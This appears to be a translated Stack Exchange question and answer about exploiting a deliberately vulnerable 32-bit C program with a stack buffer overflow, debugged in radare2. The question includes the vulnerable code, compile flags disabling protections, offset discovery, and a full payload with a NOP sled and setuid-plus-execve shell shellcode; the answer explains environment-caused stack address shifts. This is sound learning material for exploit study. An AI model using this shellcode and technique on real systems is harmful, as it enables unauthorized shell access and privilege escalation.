简单缓冲区溢出中的非法指令错误

逆向工程 雷达2 缓冲区溢出
2021-06-30 13:18:57

我使用以下 C 代码来测试基于堆栈的简单缓冲区溢出

#include<stdio.h>
#include<string.h>
void copier(char *arg){
    char buffer[100];
    strcpy(buffer,arg);
}
int main(int argc, char *argv[]){
    copier(argv[1]);
    printf("Done!");
    return 0;
}

编译代码

gcc -fno-stack-protector -z execstack -no-pie -fno-pic -m32 -o testcode testcode.c

ASLR 已关闭

为了从eip被覆盖的缓冲区中获取偏移量,我已经用来ragg2生成模式并r2找到偏移量

ragg2 -P 200 -r > input.txt
r2 -d testcode $(cat input.txt)
->dc
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x416d4141 code=1 ret=0

->wopO 0x416d4141
112

现在可以在调试时将长度为 116 的简单字符串作为输入发送到程序,因此为此我做了以下工作

r2 -A -d testcode $(python -c "print('A'*116)")
> dcu sym.copier

这是copier功能的分解图

0x08048456      55             push ebp                                                                                             
0x08048457      89e5           mov ebp, esp                                                                                         
0x08048459      83ec78         sub esp, 0x78               ; 'x'                                                                    
0x0804845c      83ec08         sub esp, 8                                                                                           
0x0804845f      ff7508         push dword [ebp + 8]                                                                                 
0x08048462      8d4594         lea eax, [ebp - 0x6c]                                                                                
0x08048465      50             push eax                                                                                             
0x08048466      e8a5feffff     call sym.imp.strcpy         ;[1]                                                                     
0x0804846b      83c410         add esp, 0x10                                                                                        
0x0804846e      90             nop                                                                                                  
0x0804846f      c9             leave                                                                                                
0x08048470      c3             ret

继续执行后sym.imp.strcpy,缓冲区为

px @esp
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0xffffd060  7cd0 ffff 6bd3 ffff f8da fff7 dcd0 ffff  |...k...........
0xffffd070  0000 0000 9bff fdf7 0c82 0408 4141 4141  ............AAAA
0xffffd080  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0xffffd090  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0xffffd0a0  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0xffffd0b0  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0xffffd0c0  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0xffffd0d0  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0xffffd0e0  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0xffffd0f0  00d3 ffff b4d1 ffff c0d1 ff              ...........

现在,从上面我可以生成一个有效载荷 - 64字节 nops + 32字节 shellcode + 16字节填充 + 地址覆盖eip

现在根据找到的内存转储,我选择了要覆盖的地址 (真正的 shellcode 开始于,之前的地址用 nops 填充)0xffffd0b0eip0xffffd0bc

nop = '\x90'*64
payload = '\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'
padding = 'A'*(112-64-32)
addr = '\xb0\xd0\xff\xff'

print(nop+payload+padding+addr)

在radare2 中调试时,在执行返回指令后,sym.copier eip我提供的地址将被覆盖。但是当我从 shell 运行程序时,我得到了Illegal instruction(Core dumped)

我从 Google 和其他 stackexchange 帖子中发现,不正确的环境变量设置可能会导致此问题。所以在radare2中我检查了加载的环境变量

dcu entry0
pxr @esp

我发现OLDPWD堆栈中存在一个环境变量,而该环境变量不存在于env命令的输出中TMPDIR有时也会出现另一个变量另一件事是(原谅我,如果这不是在所有相关的)执行后!envradare2中我发现了一些实际的环境变量的失踪是存在于env输出和一些其他调试相关的变量也出席了(GJS_DEBUG_TOPICSRABIN2_LANG等等)

雷达2版本

radare2 3.7.0-git 22245 @ linux-x86-64 git.3.6.0-14-g4a1392932
commit: 4a1392932e08296283bbd8edb09cc35998a66d29 build: 2019-06-27__22:50:24

我只是不知道如何继续查找可以硬编码为漏洞利用的地址。

1个回答

因此,首先,在利用缓冲区溢出时获得非法指令是很常见的。这只是意味着您跳到了内存的中间,其中字节不对应任何有意义的汇编指令。基本上,您可以将其解释为:您跳转到错误的地址并尝试更改您的漏洞利用程序的登陆地址。

其次,您必须了解堆栈的内存上下文非常“脆弱”,因为它是易受攻击函数之前所有内容的内存布局的结果。

例如,环境(存储所有环境变量的内存区域,臭名昭著的envp,例如PATHHOME,...)就在main()函数启动之前设置在此环境中添加新变量或更改变量的大小可能会影响缓冲区的起始位置(因此也会影响您在利用缓冲区时着陆的位置)。

在此处输入图片说明

现在,总而言之,当您在radare2 调试器下利用缓冲区溢出时,您必须知道radare2 很可能在环境中设置了一些额外的变量。这意味着当您在 shell 上下文中时,不能使用您在radare2 上下文中使用的缓冲区的地址。

解决方法的最佳方法是ltrace在 shell 上下文中运行 an ,获取缓冲区的地址(当它strcpy()在 libc 中调用时,您应该会看到它出现)。并且,使用此地址代替您之前使用的地址。